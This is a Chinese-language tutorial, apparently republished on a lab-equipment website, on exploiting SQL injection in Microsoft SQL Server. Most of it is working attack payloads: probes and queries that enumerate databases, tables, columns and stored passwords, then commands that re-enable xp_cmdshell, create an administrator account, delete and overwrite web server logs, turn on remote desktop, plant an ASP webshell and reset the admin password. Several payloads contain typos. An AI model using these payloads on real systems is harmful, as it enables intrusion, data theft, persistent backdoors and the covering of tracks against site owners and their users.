SQLServer/MsSql注入漏洞步骤、使用方法 您所在的位置:网站首页 sql漏洞利用四个原理的方法 SQLServer/MsSql注入漏洞步骤、使用方法

SQLServer/MsSql注入漏洞步骤、使用方法

2024-07-16 02:35| 来源: 网络整理| 查看: 265

1.什么是MsSql?

ms SQL是指微软的SQLServer数据库服务器,它是一个数据库平台,提供数据库的从服务器到终端的完整的解决方案,其中数据库服务器部分,是一个数据库管理系统,用于建立、使用和维护数据库。

特点:

高性能设计,可充分利用WindowsNT的优势系统管理先进,支持Windows图形化管理工具,支持本地和远程的系统管理和配置强壮的事务处理功能,采用各种方法保证数据的完整性支持对称多处理器结构、存储过程、ODBC,并具有自主的SQL语言。SQLserver以其内置的数据复制功能、强大的管理工具、与Internet的紧密集成和开放的系统结构为广大的用户、开发人员和系统集成商提供了一个出众的数据库平台sqlServer中是靠dbib来区分不同的数据库的,前四个数据库(1-4)是系统默认数据库;dbib可以当做SQL语句中的条件; 2.msSQL服务、端口、后缀

启动命令:

services.msc

端口号:

1433

当服务启动时,1433端口就会开启;服务关闭时,1433端口就会关闭。

数据库文件:

xxxx.mdf——数据库文件 xxxx.ldf——日志文件

当创建一个数据库时,会生成以上两个后缀类型的文件。

3.常见语句 查询:select * from table1 where 范围插入:insert into table1(field1,field2) values(value1,value2)删除:delete from table1 where 范围更新:update table1 set field1=value1 where 范围查找:select * from table1 where field1 like ’%雷锋%’ —like的语法很精妙,查资料!不过会让索引失效,而select * from table1 where field1 like ’雷锋%’ 这句的的话索引是有效的!排序:select * from table1 order by field1,field2 [desc]总数:select count * as totalcount from table1求和:select sum(field1) as sumvalue from table1平均:select avg(field1) as avgvalue from table1最大:select max(field1) as maxvalue from table1最小:select min(field1) as minvalue from table1 4.msSQL数据库权限

sa权限: 数据库操作,文件管理,命令执行,注册表读取等——system(权限非常强大,超过root) db权限: 文件管理,数据库操作等,相当于管理员——users-adminstrators public权限: 数据库操作,相当于游客——guest-users

5.查找项目中的数据库

.asp项目中: 连接数据库的文件一般为conn.asp、dbconfig.asp .aspx项目中: 连接数据库中的文件一般默认为web.config 连接数据的代码为:

其中,provider是供应商,source人后面的是连接方式;local就是本地连接,可以通过输入ip进行远程连接;sa是内置的用户,密码是在安装SQLserver数据库的时候设置的;database后面是你要连接的数据库的名称。

6.注入语句 判断是够存在注入 and 1=1 and 1=2 / -0初步判断是否是msSQL and user>0判断数据库系统

msSQL数据库: and(select count(*) from sysobjects)> 0 access数据库: and (select count(*) from msysobjects)>0

注入参数是字符 ‘and [查询条件] and "=’搜索时没过滤参数的 ‘and [查询条件] and ‘%25’=’猜表名 and (select count(*) from [表名])>0猜字段 and (select count([字段名]) from 表名)>0猜字段的长度(top 1代表第一个字段) and (select top 1 len(字段名) form 表名)>0猜字段的ASCII值

access数据库: and (select top 1 asc(mid(字段名,1,1)) from 表名)>0 mssql数据库: and (select top 1 unicode(substring(字段名,1,1)) from 表名)>0

7.获取数据库版本信息

id=1 and 1=(select @@version)

8.获取数据库名称

1. 获取当前数据库: id=1 and 1=(select db_name()) 2.获取用户的第一个数据库: and 1=(select top 1 name from master…sysdatavases where dbid>4) 3.获取用户的第二个数据库: and 1=(select top 1 name from master…sysdatavases where dbid>5)

9.获取表名

1.获取第一张表: ?id=1 and 1=(select top 1 name from sysobjects where xtype=‘u’) 2.获取第二张表: ?id=1 and 1=(select top 1 name form sysobjects where xtype=‘u’ and name ‘第一张表名’) 2.获取第三张表: ?id=1 and 1=(select top 1 name form sysobjects where xtype=‘u’ and name ‘第一张表名’ and name ‘第二张表名’)

10.获取字段

1.获取第一个字段: ?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name=‘表名’)) 2.获取第二个字段: ?id=1 and 1=(select top 1 name from syscolumns where id=(select id from sysobjects where name=‘表名’) and name ‘第一个字段’)

11.获取数据

获取第一个用户的密码 ?id=1 and 1=(select top 1 upass form 表名)

12.msSQL数据库另类玩法 一.基本信息收集

注入点权限判断:

and 1=(select is_srvrolemember(‘sysadmin’)) //判断是否为系统管理员 and 1=(select is_srvrolemember(‘db_owner’)) //判断是否是库权限 and 1=(select is_srvrolemember(‘public’)) //判断是否为public权限 and 1=convert(int,db_name())或 1=(select db_name())//当前数据库名 and 1=(select @@servername) //本地服务名 and 1=(select HAS_DBACCESS(‘master’)) //判断是否有库读取权限

二.利用msSQL扩展存储注入攻击

检测与恢复扩展存储

检测xp_cmdshell扩展存储是否存在: ---- and 1=(select count() from master.dbo.sysobjects where xtype=‘x’ AND name=‘xp_cmdshell’) 检测xp_regread扩展存储过程是否存在: ---- and 1=(select count() form master.dbo.sysobjects where name=‘xp_regread’) 恢复扩展内存: ----EXEC sp_configure ‘show advanced options’,1;RECONFIGURE;EXEC sp_configure ‘xp_cmdshell’,1;RECONFIGURE; ----exec sp_dropextendedproc xp_cmdshell,‘xplog70.dll’

三.sa权限下扩展存储攻击利用方法

利用xp_cmdshell扩展执行任意命令

查看C盘: ---- drop table black ---- create TABLE black(mulu varchar(7996) NULL,ID int NOT NULL IDENTITY(1,1))–insert into black exec master…xp_cmdshell ‘dir c:’ ---- and 1=(select top 1 mulu from black where id=1) 新建用户: exec master…xp_cmdshell ‘net user test test /add’ 将用户添加到管理员组当中: exec master…xp_cmdshell ‘net localgroup administrators test /add’ 添加和删除一个SA权限的用户test(需要SA权限): ---- exec master.dbo.sp_addlogin test,password ---- exec master.dbo.sp_addsrvrolemember test,sysadmin 停掉或激活某个服务(需要SA权限): ---- exec master…xp_servicecontrol ‘stop’,‘schedule’ ---- exec master…xp_servicecontrol ‘start’,‘schedule’ 删除日志记录: ;exec master.dbo_cmdshell ‘del c:\winnt\system32\logfiles\w3svc5\ex070606.log > c:\temp.txt’ 替换日志记录: ;exec master.dbo.xp_cmdshell ‘copy c:\winnt\system32\logfiles\w3svc5\ex070404.log c:\winnt\system32\logfiles\w3svc5\ex070606.log > c:\temp.txt’ 开启远程数据库: 1. ;select * from OPENROWSET(‘SQLOLEDB’,‘server=servername;uid=sa;pwd=apachy_123’,‘select * from table1’) 2. ;select * from OPENROWSET(‘SQLOLEDB’,‘uid=sa;pwd=apachy_123;Network=DBMSSOCN;Address=200.200.200.1,1433;’,‘select * from table’)

四.打开3389端口(远程桌面)

;exec master…xp_cmdshell ‘sc config termservice start=auto’ ;exec master…xp_cmdshell ‘net start termservice’ ;exec master…xp_cmdshell ‘reg add fDenyTSConnections /t REG_DWORD /d 0x0 /f’ //允许外部连接 ;exec master…xp_cmdshell ‘reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal server\WinStations\RDP-Tcp” /v PortNumber /t REG_DWORD /d 0x50 /f’ //改端口到80

五.利用sp_makewebtask写入一句话木马

1、 ;exec sp_makewebtask ‘c:\inetpub\wwwroot\x.asp’,‘select “”’– 2、 http://mssql.sql.com/aspx.aspx?id=1 ;exec sp_makewebtask ‘c:\inetpub\wwwroot\ms\x1.asp’,‘select’‘’‘’–

六.修改管理员密码

update admin set password=123456 where username=‘admin’



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有